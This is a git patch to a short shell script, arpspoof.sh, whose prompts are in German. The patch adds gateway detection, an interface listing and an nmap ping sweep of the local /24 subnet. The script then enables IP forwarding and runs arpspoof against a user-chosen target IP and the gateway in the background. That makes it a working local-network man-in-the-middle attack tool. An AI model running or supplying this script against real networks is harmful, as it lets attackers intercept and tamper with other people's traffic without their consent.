From 7beea4987e74d1a878e672caca7be25b141b1d6d Mon Sep 17 00:00:00 2001 From: simono41 Date: Tue, 12 Sep 2017 22:58:37 +0200 Subject: [PATCH] fix --- arpspoof.sh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/arpspoof.sh b/arpspoof.sh index 43aa72c..28e9053 100755 --- a/arpspoof.sh +++ b/arpspoof.sh @@ -9,10 +9,13 @@ fi echo 1 > /proc/sys/net/ipv4/ip_forward +gateway=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10) + +ip link read -p "Wie heisst die Schnittstelle? [enp30s0\eth0] : " modul +nmap -sn ${gateway}/24 read -p "Wie heisst die IP? : " ip -gateway=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10) arpspoof -i $modul -t $ip -r $gateway &